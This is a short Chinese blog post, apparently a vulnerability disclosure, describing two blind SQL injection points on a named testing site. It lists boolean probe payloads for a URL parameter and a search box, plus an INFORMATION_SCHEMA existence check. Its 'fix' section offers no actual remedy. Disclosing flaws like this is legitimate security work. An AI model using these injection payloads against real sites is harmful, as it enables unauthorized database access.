• 选择风格
  • 加入收藏
  • 繁體中文
  • 网站地图
    • 当前位置：首页 >> 网络通讯 >> 网络安全 >> 内容

    淘测试某两处盲注及修复

    时间：2013/4/19 12:09:00 作者：平凡之路　来源：xuhantao.com 浏览：

    注入点1：
    and 1=1
    and 1=2
    可以看看
    "下一期刊：" 那里是否显示正常，www.xuhantao.com，涛涛电脑知识网，进行判断。
    或者随机输入正确的语句与错误的语句。
    错误的语句会出现：“不好意思，您要访问的页面似乎出了点问题，请选择其他链接继续浏览本网站”
     
    注入点2：

    您可以根据名称查询:
     

    就是搜索框那里的。
    输入：
    %' and 1=1 and '%'='
    返回5条记录
    %' and 1=2 and '%'='
    返回0条记录
     
    或者输入条种SQL语句测试
    %' and exists(select * from INFORMATION_SCHEMA.TABLES) and '%'='
     
    这里就不深入了。
    修复方案：
    应该懂得

    作者 Jannock

  • 上一篇：社会工程学+Web hacked入侵某游戏公司
  • 下一篇：新浪轻博客xss重测试
    • 相关文章
    • 没有相关文章
    共有评论 0 条相关评论
    发表我的评论
    • 大名：
    • 内容：
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络，如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号：蒙ICP备15000590号-1